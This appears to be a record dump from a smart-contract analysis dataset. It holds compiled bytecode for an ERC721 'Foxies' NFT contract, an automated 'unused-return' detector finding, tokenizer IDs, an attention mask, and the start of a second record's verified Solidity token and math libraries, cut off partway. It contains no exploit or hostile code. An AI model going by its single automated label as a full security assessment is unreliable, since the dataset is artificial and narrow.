0565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6119b5828260405180602001604052806000815250611dd2565b5050565b6119c4848484611679565b6119d084848484611e2d565b611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0690612e27565b60405180910390fd5b50505050565b6060600c8054611a24906133a5565b80601f0160208091040260200160405190810160405280929190818152602001828054611a50906133a5565b8015611a9d5780601f10611a7257610100808354040283529160200191611a9d565b820191906000526020600020905b815481529060010190602001808311611a8057829003601f168201915b5050505050905090565b60606000821415611aef576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611c4f565b600082905060005b60008214611b21578080611b0a90613408565b915050600a82611b1a9190613215565b9150611af7565b60008167ffffffffffffffff811115611b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611b955781602001600182028036833780820191505090505b5090505b60008514611c4857600182611bae91906132a0565b9150600a85611bbd919061347b565b6030611bc991906131bf565b60f81b818381518110611c05577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611c419190613215565b9450611b99565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b611cc9838383611fc4565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d0c57611d0781611fc9565b611d4b565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611d4a57611d498382612012565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d8e57611d898161217f565b611dcd565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dcc57611dcb82826122c2565b5b5b505050565b611ddc8383612341565b611de96000848484611e2d565b611e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1f90612e27565b60405180910390fd5b505050565b6000611e4e8473ffffffffffffffffffffffffffffffffffffffff1661250f565b15611fb7578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611e776114da565b8786866040518563ffffffff1660e01b8152600401611e999493929190612d5e565b602060405180830381600087803b158015611eb357600080fd5b505af1925050508015611ee457506040513d601f19601f82011682018060405250810190611ee191906128ce565b60015b611f67573d8060008114611f14576040519150601f19603f3d011682016040523d82523d6000602084013e611f19565b606091505b50600081511415611f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5690612e27565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050611fbc565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161201f84610c20565b61202991906132a0565b905060006007600084815260200190815260200160002054905081811461210e576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b6000600160088054905061219391906132a0565b90506000600960008481526020019081526020016000205490506000600883815481106121e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612231577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806122a6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006122cd83610c20565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156123b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a890612f67565b60405180910390fd5b6123ba8161146e565b156123fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f190612e67565b60405180910390fd5b61240660008383611cbe565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461245691906131bf565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b82805461252e906133a5565b90600052602060002090601f0160209004810192826125505760008555612597565b82601f1061256957805160ff1916838001178555612597565b82800160010185558215612597579182015b8281111561259657825182559160200191906001019061257b565b5b5090506125a491906125a8565b5090565b5b808211156125c15760008160009055506001016125a9565b5090565b60006125d86125d3846130e2565b6130bd565b9050828152602081018484840111156125f057600080fd5b6125fb848285613363565b509392505050565b600061261661261184613113565b6130bd565b90508281526020810184848401111561262e57600080fd5b612639848285613363565b509392505050565b60008135905061265081613b10565b92915050565b60008135905061266581613b27565b92915050565b60008135905061267a81613b3e565b92915050565b60008151905061268f81613b3e565b92915050565b600082601f8301126126a657600080fd5b81356126b68482602086016125c5565b91505092915050565b600082601f8301126126d057600080fd5b81356126e0848260208601612603565b91505092915050565b6000813590506126f881613b55565b92915050565b60006020828403121561271057600080fd5b600061271e84828501612641565b91505092915050565b6000806040838503121561273a57600080fd5b600061274885828601612641565b925050602061275985828601612641565b9150509250929050565b60008060006060848603121561277857600080fd5b600061278686828701612641565b935050602061279786828701612641565b92505060406127a8868287016126e9565b9150509250925092565b600080600080608085870312156127c857600080fd5b60006127d687828801612641565b94505060206127e787828801612641565b93505060406127f8878288016126e9565b925050606085013567ffffffffffffffff81111561281557600080fd5b61282187828801612695565b91505092959194509250565b6000806040838503121561284057600080fd5b600061284e85828601612641565b925050602061285f85828601612656565b9150509250929050565b6000806040838503121561287c57600080fd5b600061288a85828601612641565b925050602061289b858286016126e9565b9150509250929050565b6000602082840312156128b757600080fd5b60006128c58482850161266b565b91505092915050565b6000602082840312156128e057600080fd5b60006128ee84828501612680565b91505092915050565b60006020828403121561290957600080fd5b600082013567ffffffffffffffff81111561292357600080fd5b61292f848285016126bf565b91505092915050565b60006020828403121561294a57600080fd5b6000612958848285016126e9565b91505092915050565b61296a816132d4565b82525050565b612979816132e6565b82525050565b600061298a82613144565b612994818561315a565b93506129a4818560208601613372565b6129ad81613568565b840191505092915050565b60006129c38261314f565b6129cd818561316b565b93506129dd818560208601613372565b6129e681613568565b840191505092915050565b60006129fc8261314f565b612a06818561317c565b9350612a16818560208601613372565b80840191505092915050565b6000612a2f60288361316b565b9150612a3a82613579565b604082019050919050565b6000612a52602b8361316b565b9150612a5d826135c8565b604082019050919050565b6000612a7560328361316b565b9150612a8082613617565b604082019050919050565b6000612a9860268361316b565b9150612aa382613666565b604082019050919050565b6000612abb601c8361316b565b9150612ac6826136b5565b602082019050919050565b6000612ade60248361316b565b9150612ae9826136de565b604082019050919050565b6000612b0160198361316b565b9150612b0c8261372d565b602082019050919050565b6000612b24602c8361316b565b9150612b2f82613756565b604082019050919050565b6000612b4760388361316b565b9150612b52826137a5565b604082019050919050565b6000612b6a602a8361316b565b9150612b75826137f4565b604082019050919050565b6000612b8d60298361316b565b9150612b9882613843565b604082019050919050565b6000612bb060128361316b565b9150612bbb82613892565b602082019050919050565b6000612bd360208361316b565b9150612bde826138bb565b602082019050919050565b6000612bf6602c8361316b565b9150612c01826138e4565b604082019050919050565b6000612c1960208361316b565b9150612c2482613933565b602082019050919050565b6000612c3c60298361316b565b9150612c478261395c565b604082019050919050565b6000612c5f602f8361316b565b9150612c6a826139ab565b604082019050919050565b6000612c8260128361316b565b9150612c8d826139fa565b602082019050919050565b6000612ca560218361316b565b9150612cb082613a23565b604082019050919050565b6000612cc860318361316b565b9150612cd382613a72565b604082019050919050565b6000612ceb602c8361316b565b9150612cf682613ac1565b604082019050919050565b612d0a8161331e565b82525050565b612d198161334c565b82525050565b6000612d2b82856129f1565b9150612d3782846129f1565b91508190509392505050565b6000602082019050612d586000830184612961565b92915050565b6000608082019050612d736000830187612961565b612d806020830186612961565b612d8d6040830185612d10565b8181036060830152612d9f818461297f565b905095945050505050565b6000602082019050612dbf6000830184612970565b92915050565b60006020820190508181036000830152612ddf81846129b8565b905092915050565b60006020820190508181036000830152612e0081612a22565b9050919050565b60006020820190508181036000830152612e2081612a45565b9050919050565b60006020820190508181036000830152612e4081612a68565b9050919050565b60006020820190508181036000830152612e6081612a8b565b9050919050565b60006020820190508181036000830152612e8081612aae565b9050919050565b60006020820190508181036000830152612ea081612ad1565b9050919050565b60006020820190508181036000830152612ec081612af4565b9050919050565b60006020820190508181036000830152612ee081612b17565b9050919050565b60006020820190508181036000830152612f0081612b3a565b9050919050565b60006020820190508181036000830152612f2081612b5d565b9050919050565b60006020820190508181036000830152612f4081612b80565b9050919050565b60006020820190508181036000830152612f6081612ba3565b9050919050565b60006020820190508181036000830152612f8081612bc6565b9050919050565b60006020820190508181036000830152612fa081612be9565b9050919050565b60006020820190508181036000830152612fc081612c0c565b9050919050565b60006020820190508181036000830152612fe081612c2f565b9050919050565b6000602082019050818103600083015261300081612c52565b9050919050565b6000602082019050818103600083015261302081612c75565b9050919050565b6000602082019050818103600083015261304081612c98565b9050919050565b6000602082019050818103600083015261306081612cbb565b9050919050565b6000602082019050818103600083015261308081612cde565b9050919050565b600060208201905061309c6000830184612d01565b92915050565b60006020820190506130b76000830184612d10565b92915050565b60006130c76130d8565b90506130d382826133d7565b919050565b6000604051905090565b600067ffffffffffffffff8211156130fd576130fc613539565b5b61310682613568565b9050602081019050919050565b600067ffffffffffffffff82111561312e5761312d613539565b5b61313782613568565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006131928261331e565b915061319d8361331e565b92508261ffff038211156131b4576131b36134ac565b5b828201905092915050565b60006131ca8261334c565b91506131d58361334c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561320a576132096134ac565b5b828201905092915050565b60006132208261334c565b915061322b8361334c565b92508261323b5761323a6134db565b5b828204905092915050565b60006132518261334c565b915061325c8361334c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613295576132946134ac565b5b828202905092915050565b60006132ab8261334c565b91506132b68361334c565b9250828210156132c9576132c86134ac565b5b828203905092915050565b60006132df8261332c565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015613390578082015181840152602081019050613375565b8381111561339f576000848401525b50505050565b600060028204905060018216806133bd57607f821691505b602082108114156133d1576133d061350a565b5b50919050565b6133e082613568565b810181811067ffffffffffffffff821117156133ff576133fe613539565b5b80604052505050565b60006134138261334c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613446576134456134ac565b5b600182019050919050565b600061345c82613356565b915060ff8214156134705761346f6134ac565b5b600182019050919050565b60006134868261334c565b91506134918361334c565b9250826134a1576134a06134db565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f596f752063616e2067657420757020746f20313620666f78696573206561636860008201527f2074696d65203a29000000000000000000000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f496e73756666696369656e742045746865720000000000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f466f78696573206e6f7420656e6f756768210000000000000000000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b613b19816132d4565b8114613b2457600080fd5b50565b613b30816132e6565b8114613b3b57600080fd5b50565b613b47816132f2565b8114613b5257600080fd5b50565b613b5e8161334c565b8114613b6957600080fd5b5056fea264697066735822122071c0a4527e7ce71561be710b95a2a56247053d9ce64f5cf8f08399d6cb48a8a764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2278, 22022, 12376, 2683, 17914, 2497, 27009, 2278, 4246, 2692, 2549, 15878, 12376, 22394, 2620, 2683, 2546, 2475, 2063, 2683, 22022, 2581, 21084, 26224, 2683, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,615
0x956c43998316b6a2f21f89a1539f73fb5b78c151
/** *Submitted for verification at Etherscan.io on 2021-06-16 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; interface IOwnable { function policy() external view returns (address); function renounceManagement() external; function pushManagement( address newOwner_ ) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed( address(0), _owner ); } function policy() public view override returns (address) { return _owner; } modifier onlyPolicy() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } function renounceManagement() public virtual override onlyPolicy() { emit OwnershipPushed( _owner, address(0) ); _owner = address(0); } function pushManagement( address newOwner_ ) public virtual override onlyPolicy() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed( _owner, newOwner_ ); _newOwner = newOwner_; } function pullManagement() public virtual override { require( msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled( _owner, _newOwner ); _owner = _newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract ERC20 is IERC20 { using SafeMath for uint256; // TODO comment actual hash value. bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" ); mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account_, uint256 ammount_) internal virtual { require(account_ != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address( this ), account_, ammount_); _totalSupply = _totalSupply.add(ammount_); _balances[account_] = _balances[account_].add(ammount_); emit Transfer(address( this ), account_, ammount_); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { } } interface IERC2612Permit { function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function nonces(address owner) external view returns (uint256); } library Counters { using SafeMath for uint256; struct Counter { uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } abstract contract ERC20Permit is ERC20, IERC2612Permit { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; bytes32 public DOMAIN_SEPARATOR; constructor() { uint256 chainID; assembly { chainID := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), keccak256(bytes("1")), // Version chainID, address(this) ) ); } function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "Permit: expired deadline"); bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline)); bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(_hash, v, r, s); require(signer != address(0) && signer == owner, "ZeroSwapPermit: Invalid signature"); _nonces[owner].increment(); _approve(owner, spender, amount); } function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 